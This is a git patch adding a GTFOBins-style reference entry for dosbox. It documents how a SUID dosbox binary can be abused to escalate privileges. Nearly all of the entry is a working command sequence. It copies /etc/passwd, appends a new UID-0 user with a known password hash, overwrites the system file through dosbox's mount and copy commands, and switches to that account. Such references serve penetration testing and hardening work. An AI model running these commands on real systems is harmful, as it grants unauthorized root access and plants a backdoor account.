From 4a058f88e163ac5053f09042f21e8b4d3b462d51 Mon Sep 17 00:00:00 2001 From: kali Date: Tue, 31 Aug 2021 12:54:48 -0400 Subject: [PATCH] Added dosbox.md --- _gtfobins/dosbox.md | 10 ++++++++++ 1 file changed, 10 insertions(+) create mode 100644 _gtfobins/dosbox.md diff --git a/_gtfobins/dosbox.md b/_gtfobins/dosbox.md new file mode 100644 index 0000000..b46c637 --- /dev/null +++ b/_gtfobins/dosbox.md @@ -0,0 +1,10 @@ +--- +functions: + SUID: + - description: Please change username to whatever you want and passwod is `toor`. + code: | + cp /etc/passwd /tmp/passwd + echo "idealphase:sXuCKi7k3Xh/s:0:0::/root:/bin/bash" >> /tmp/passwd + /usr/bin/dosbox -c "mount c /etc/" -c "mount d /tmp/" -c "d:" -c "copy passwd c:" + su idealphase +---